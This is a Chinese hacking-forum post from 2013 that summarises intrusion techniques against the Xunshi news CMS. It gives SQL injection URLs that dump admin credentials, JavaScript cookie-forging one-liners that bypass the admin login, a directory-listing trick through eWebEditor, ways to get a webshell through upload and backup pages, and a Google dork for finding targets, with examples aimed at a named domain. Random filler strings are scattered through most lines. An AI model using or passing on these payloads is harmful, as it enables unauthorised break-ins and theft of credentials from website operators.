找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2803|回复: 0
打印 上一主题 下一主题

讯时漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-16 21:25:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
by:血封忆尘
6 g3 K' k6 n. t6 t9 G' W' k
* t3 Q# g" j6 L在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了(随着版本的更新)+ v! p5 p; s+ l. W

. i, \& J* H8 V" S' I以下本文总结来自黑防去年第9期杂志上的内容.... y. @) _1 ]0 n* b0 n

# I# K' c, f. K- c( D3 `' g: u先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%
) t# ~  `1 S2 h+ \
- f' F! J8 K3 T" [* I26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
. w: O2 }1 V. V2 j- o, v
8 g1 M" O( ?) M! f) \+ |# v/ h" k记得千万别多了空格,我测试站的时候就发现多了空格注入不出结果的情况
, {( @7 i* P% x7 V9 G, v1 g这里一个注入) I+ j8 u. _7 I4 l
" e! e3 J7 T3 s. S9 ]3 Z3 o6 I
效果如图:2 y$ ]2 |6 ^# s+ X8 h+ q
6 k& ~, P1 g6 T9 g1 z, B3 z

6 Q* g& u5 x6 b& |6 k0 L( H3 I# ]# ]8 P# X' U/ k  w0 h) L* z# g
这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.! j1 q8 p+ x5 H9 C) ~
! E( m4 t- ]' z% \9 @
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去2 _. J; O# r  f8 y

$ Z; N( ?$ r5 e% j# z' Ujavascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
1 z) X/ o, D# P  U- ~$ `. {2 p$ s  ]3 B3 e" U( i8 X9 B
那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:
6 }: ~" S4 b1 G5 N( _& K' [/ \. z' F7 E" N5 x* f+ Q5 k
因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞+ @/ k. E, x9 z- L; V1 P) E

- `+ B9 p; c5 z0 b它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
* \6 G. O5 z0 o' K  p
1 F( U4 n* K- [! Q% @8 o( @/ b访问这页面来列目录..步骤如下:
3 w5 L" U0 {9 X3 R" ~/ x
4 @1 S8 z. k" M6 h1 n4 {javascript:alert(document.cookie="admindj=1") 3 h$ K! ]. [+ m( L. Z# r
. Z8 K6 E3 s7 [+ I1 \+ ^& d
http://www.political-security.co ... asp?id=46&dir=../..
- E8 Q  C! L9 ?' K$ Q% w9 E
# }! X, W5 F" H5 I4 B& k. E效果如图:
: P9 F0 X( Z  r9 p
: f1 c3 k  V  Y: z* [4 A
5 g) A7 W: c, v: E+ M
, J! ]2 I7 A( [这样全站目录都能瞧了..找到后台目录..进去..: i+ i+ O1 O- m+ `5 v1 Y; z, q2 o

9 b; }: c( g$ X. K' ?那么进了后台怎么拿shell??上传--备份就ok了..# }2 k6 G5 K  D

( |3 b; \+ _3 c" n那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
( Z6 I1 A7 v& w( c/ a
; P3 s& G  Z3 |6 U这个我也碰到过一次..你都可以通过列目录来实现..
5 O1 g8 V2 H4 l4 h8 M6 p; k. v3 E$ j8 P2 E
javascript:alert(document.cookie="admindj=1") , H+ X* P, |; B6 K$ s

) `! j0 C( M- p, b3 D: Dhttp://www.political-security.co ... p?action=BackupData * D1 f: w& A8 e* c  q
  Q( U* H' ~1 _& C! J/ c
备份ok..
7 t6 H& B) y- d) c1 Q$ T5 b9 r' ?) d& s
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
# O4 m$ M6 O. ~4 F' G
1 |/ e3 @6 L( ?" D+ \在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下$ {  b2 K. H. ~4 _) \( |

8 w& P0 b' [7 G, n  |然后访问此页面进行注入..步骤如下:! Z+ @8 d8 a& u* O8 F" P& O3 M1 e+ @
: C1 Q- c# |: |" s' P
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")3 w7 g+ p* M& B2 Z- M/ A- J/ Z9 a7 g

1 C6 _: s7 X1 v+ u. @然后请求admin/admin_chk.asp页面
0 F! C( {* w; h+ u  O
+ t. E8 v% J* n( P; O输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%7 s+ a# s5 d0 I) [; e

% |% m- N/ ~8 f9 N26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
2 B, h& [) t4 |6 ~- I; m
6 e7 q; h8 r% _: a效果如图所示:
  {, B# V- q* b# @0 l! m# S9 e, _% Y  V: A$ U3 V* l

; X6 ?4 _6 W. r! e$ s, T
! {  P3 Y3 r( W2 Q8 Z; o讯时漏洞2
2 h$ z: E" H& y8 J! z5 X2 D* Mgoogle关键字:inurl:news_more.asp?lm2= (关键字很多的自己定义吧)
& l3 u5 U) f$ P# D 5 r, h7 v% E$ [* x7 Q# e7 ?1 U
1、/admin/admin_news_pl_view.asp?id=1
) p; R* F: n1 v# w  m1 p//id任意 填入以下语句
$ i4 Z1 L0 y( E4 ` 3 v( b9 @. u! ]3 E+ ^) M* s
2、有时1显示错误信息的时候继续往后退2,3,4,我退到11才找到了页面,郁闷!9 t6 N! T! _. d  B, h4 l

) r2 [* a5 W; E, t1 `! _5 H) J! O, v$ H* w1 r. W6 T. Z

. S/ Q5 k$ `' B3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
3 |2 a4 A; Y- z& O3 z% w
4 e0 m3 o/ @, ~6 C  n  Q0 B- y. X1 j: y3 t9 I2 Z

) I+ f- K8 t  D. s0 @5 N, L爆出管理员帐号和密码了
# x& \7 ?+ C" ~
# k' g' `" a! r- m# g- c: H/ n1 ~* J; ]. @8 l2 w- S

! [4 B& V/ ~: D4、cookies进后台
  q# ^/ ~5 I9 j+ J6 Z 3 M, B" Y' f, F& P2 D
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
" b' b* }" \. w: W" n
& S7 Q* u& I2 c! Z0 Q
$ }  c9 C! }7 t- E0 Y* G' R: y7 @7 _& `5 E* P) \6 G. p; H
5、后台用了cookie验证,直接访问http://www.political-security.com/admin/admin_index.asp就OK了!, i! Y% H. g# x$ N) x) W# K6 O6 T
6 A, \* L- o! Y; x' |0 |3 ?" N

. g! j& R' R+ t0 J. q5 Q& h0 U9 r0 X& `
6、后台有上传和备份取SHELL不难。8 c; O+ O+ v1 J3 q  m. h& x

  v  F4 {4 m% ^" @" ]2 R7、讯时还有个列目录漏洞:http://www.political-security.co ... asp?id=46&dir=../..  V4 d3 V; I! z9 \# }+ C" g
: W6 V( P- V9 ~7 X% i
逍遥复仇:我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL,有的说虽然后台显示但备份页面是存在的,登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData,我这个没有,郁闷着呢,谁还有其他办法提供一下,谢谢!& E, u/ V6 [- I* M
1 z0 O& k! p( J4 t, _; \

/ {$ w0 k: E% \; s7 u, s4 Q% z  S9 b! B0 ]3 h. b7 P/ y. y- h& X2 U+ l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表